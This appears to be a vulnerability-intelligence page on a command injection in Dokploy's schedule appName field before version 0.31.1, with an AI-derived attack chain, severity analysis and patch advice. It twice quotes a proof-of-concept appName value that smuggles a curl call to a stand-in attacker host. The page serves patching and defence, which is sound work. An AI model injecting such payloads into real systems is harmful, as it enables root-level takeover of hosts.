Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privilege Dokploy user
-
DeliveryCreate/update dokploy-server schedule
-
ExploitInject shell metacharacters in appName
-
ExecutionfullPath interpolated unquoted into shell script
-
PersistexecAsync runs mkdir/touch chain
-
ImpactArbitrary commands execute as root on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated Dokploy account with permission to create or update a schedule of scheduleType 'dokploy-server' (the code path that calls execAsync on the interpolated script). The attacker-controlled input is the schedule's appName field, which is path.join'd into SCHEDULES_PATH and interpolated without shell quoting into the mkdir/rm/touch/chmod/base64 command string. Exploitation limits: it is gated by authentication and by holding schedule create/update rights (PR:L, not unauthenticated), and is confined to the dokploy-server schedule type. Resulting impact severity depends on the Dokploy process privilege level - on typical installations Dokploy runs with high/root privileges to manage Docker, so injected commands execute as root. Affected versions are prior to 0.31.1; upgrading to 0.31.1 (which quotes paths via shell-quote) is the fix. |
| Impact | This is a genuine high-priority issue, not a CVSS-inflated paper risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) describes a network-reachable, low-complexity attack requiring only low-privilege authentication, with high confidentiality, integrity and availability impact on the vulnerable system (VC:H/VI:H/VA:H) - consistent with the description's claim of OS command execution at Dokploy process privileges, typically root. The GHSA advisory rates it Critical (10.0) while the input CVSS 4.0 base is 8.7; the difference stems largely from PR:L (an authenticated schedule-creation capability is required) rather than PR:N, which is the main factor limiting mass, unauthenticated exploitation. No EPSS score and no CISA KEV entry are present in the provided data, so there is no evidence of active in-the-wild exploitation; the vuln.today decision label is 'this_week' (not act_now/emergency). However, the GHSA advisory includes a concrete, documented proof-of-concept (appName set to 'mysched; curl http://attacker.com/$(whoami); #'), so a working exploitation path is publicly described even though the input does not confirm packaged, weaponized exploit code. Net: real, serious, and straightforward to exploit for any user who already holds dokploy-server schedule create/update rights - prioritize patching, but note the authentication gate means this is not an unauthenticated internet-wide worm candidate. |
| Exploit ScenarioDerived | An authenticated Dokploy user with permission to create or update a dokploy-server schedule sets the schedule appName to a value containing shell metacharacters (e.g. 'mysched; curl http://attacker.com/$(whoami); #'); when the schedule is saved, Dokploy interpolates this unquoted value into a shell command (mkdir -p, touch, chmod, base64 -d) and the injected commands execute with the Dokploy process privileges, commonly root. The GHSA advisory documents a step-by-step PoC demonstrating this, so the attack path is publicly described, though the input does not confirm it as packaged working exploit code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 18, 2026
Command injection in Dokploy before 0.31.1 lets an authenticated user who can create or update a 'dokploy-server' schedule achieve arbitrary command execution as the Dokploy process - typically root, since Dokploy needs high privileges to manage Docker. The schedule's appName field is path-joined into the schedules directory and interpolated unquoted into the mkdir/rm/touch/chmod/base64 shell script, so a crafted name such as one containing '; curl ...; #' breaks out of the intended command. No active exploitation is confirmed (not in CISA KEV) and no verified working exploit code has been identified at time of analysis; the GitHub advisory includes a PoC walkthrough, and the reported proof of concept demonstrates a public PoC reference that is not verified as working exploit code by this assessment. Version 0.31.1 fixes the issue by quoting paths with shell-quote and by omitting appName from the exposed schema relations.
RemediationAI
Vendor-released patch: upgrade to Dokploy 0.31.1 (https://github.com/Dokploy/dokploy/releases/tag/v0.31.1), which implements the fix merged in PR https://github.com/Dokploy/dokploy/pull/5906 and commit https://github.com/Dokploy/dokploy/commit/0fa3101a7e76173c60a3015d37a02e7c892b9ab3 by wrapping every interpolated path (fullPath, script.sh, deployment log paths) with shell-quote's quote() and by omitting appName and organizationId from the schedulesRelations schema; the advisory at https://github.com/Dokploy/dokploy/security/advisories/GHSA-8m32-h7qx-8r79 additionally recommends enforcing a strict appName regex such as ^[a-z0-9-]+$ at the schema layer and replacing shell string interpolation with argument arrays via spawn for defense in depth. Where immediate upgrade is not possible, restrict the ability to create or update schedules to trusted administrators only, since exploitation is gated by authenticated schedule create/update rights on the 'dokploy-server' schedule type, and audit existing schedules for appName values containing shell metacharacters; these reduce exposure but do not remove the vulnerable interpolation, so treating 0.31.1 as the only complete fix is appropriate. Also verify the privilege level the Dokploy process runs under, because injected commands inherit it and root-level service accounts turn this into full host compromise.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokploy is a self-hostable PaaS built in TypeScript around a server package that shells out to system utilities for Docker-driven workloads. The root cause class is CWE-77 (command injection): in packages/server/src/services/schedule.ts the handleScript function computes fullPath = path.join(SCHEDULES_PATH, schedule.appName) and then embeds that value directly into a multi-line shell script executed with execAsync - mkdir -p, rm -f, touch, chmod +x, and a base64 decode redirect into script.sh. Because appName is user-supplied and neither schema-validated nor shell-escaped, shell metacharacters (semicolons, command substitution, comment markers) are interpreted by the shell. Note that a filesystem-safety primitive such as path.join does not neutralize shell metacharacters, which is the conceptual gap here. The upstream fix imports quote() from shell-quote and wraps fullPath, the script file path, and deployment log paths before interpolation, and additionally omits appName and organizationId from the schedulesRelations schema to prevent those fields leaking through relation queries. Only the 'dokploy-server' schedule type takes the vulnerable execAsync path; the CPE cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:* covers all releases prior to the fixed 0.31.1 tag.
Know when Dokploy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable authenticated feature (PR:L) with unsanitized input directly injected into a shell string (AC:L), yielding full host command execution (C/I/A:H); scope kept Unchanged consistent with the input's subsequent-system metrics.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.31.1, a user-controlled schedule appName is joined into the schedule directory path and interpolated without shell quoting into commands that create the directory and write the schedule script. An authenticated user who can create or update a dokploy-server schedule can inject operating-system commands that execute with the Dokploy process privileges when the schedule is saved, including root privileges on typical installations. This issue is fixed in version 0.31.1.
Technical POC Analysis
Command injection (CWE-77) in Dokploy's schedule service.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
A high-severity command injection flaw in Dokploy, a platform used to manage Docker deployments, could allow authenticated users with schedule creation privileges to execute arbitrary commands as the root user. This poses a significant risk to organizations relying on Dokploy for container orchestration, as compromise could lead to full control of the host and potentially the entire container environment.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c
Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete
Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing
Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
EUVD-2026-129322
NVD
CVE.org
EPSS
GitHub
Exploit-DB